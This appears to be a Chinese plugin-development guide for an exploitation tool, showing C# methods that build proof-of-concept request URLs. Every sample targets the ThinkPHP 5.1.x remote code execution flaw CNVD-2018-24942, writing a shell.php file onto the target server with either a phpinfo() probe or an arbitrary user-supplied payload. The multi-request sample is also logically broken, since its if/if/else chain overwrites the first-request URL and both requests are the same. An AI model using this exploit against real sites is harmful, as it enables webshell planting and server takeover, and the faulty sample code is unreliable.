### **方法说明**
插件中的方法名称是固定的,主系统会直接调用以上方法发送使用该方法设置的报文。
在说明文件中提及的函数之外,为了满足更加复杂的需求,允许自定义创建其他方法。用来处理各种数据。
以下方法中各种`POC`、`EXP`的构建模式相同,**这里仅以`POC`为例**。`EXP`与`POC`结构完全相同,后续将不再赘述。
URL来自于客户端“**目标URL**”框。
### **Poc_GetUrl方法**
*案例说明:以下案例以 CNVD-2018-24942为例(thinkphp5.1.x远程代码执行漏洞)*
### **一般url设置方法**
```
public Dictionary<string, string> Poc_GetUrl(Dictionary<string, Dictionary<string, string>> data)
{
Dictionary<string, string> url = new Dictionary<string, string>();
url["url"] = data["url"]["url"] + @"/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>";
return url;
}
```
*****
### **创建自定义载荷**
自定义载荷在输入框中由用户输入
如果需要处理传入进来的`其他载荷`可以使用以下方式
```
public Dictionary<string, string> Poc_GetUrl(Dictionary<string, Dictionary<string, string>> data)
{
Dictionary<string, string> url = new Dictionary<string, string>();
if (data["others"]["otherPayload"] != null && data["others"]["otherPayload"] != "其他载荷")
{
//数据来自于用户的输入,在主程序的首页第三个大文本框中。
url["url"] = data["url"]["url"] + "/index.php?s=index/\\think\\template\\driver\\file/write&cacheFile=shell.php&content=" + data["others"]["otherPayload"];
}
else
{
url["url"] =data["url"]["url"] + "/index.php?s=index/\\think\\template\\driver\\file/write&cacheFile=shell.php&content=<?php phpinfo();?>";
}
return url;
}
```
*****
该方法主要用来处理目标网站的URL链接问题。
主要需要接受的参数为`data`。data参数的结构参考“**插件开发说明(一)--基础说明**”中的‘**主体向插件传输的数据格式**’
*****
### **创建多次请求**
在某些EXP中,需要多次访问某网站的时候,本质上是发送多次http请求。则可以使用以下方式完成。
```
public Dictionary<string, string> Poc_GetUrl(Dictionary<string, Dictionary<string, string>> data)
{
Dictionary<string, string> url = new Dictionary<string, string>();
Dictionary<string, string> other = new Dictionary<string, string>();
other = data["others"];
if (other["numberOfTime"] == "0")
{
//获取到numberOfTime为0,说明还未开始第一次请求。拼接第一次url请求。
url["url"] = data["url"]["url"] + @"/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>";
}
if(other["numberOfTime"]=="1")
{//第二次请求。
url["url"] = data["url"]["url"] + @"/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>";
}
else
{//其他情况
url["url"] = data["url"]["url"];
}
return url;
}
```
*****
其中,`other["numberOfTime"]` 由方法`Poc_GetOther`或者`Exp_GetOther`来进行控制。详情请参考后续内容。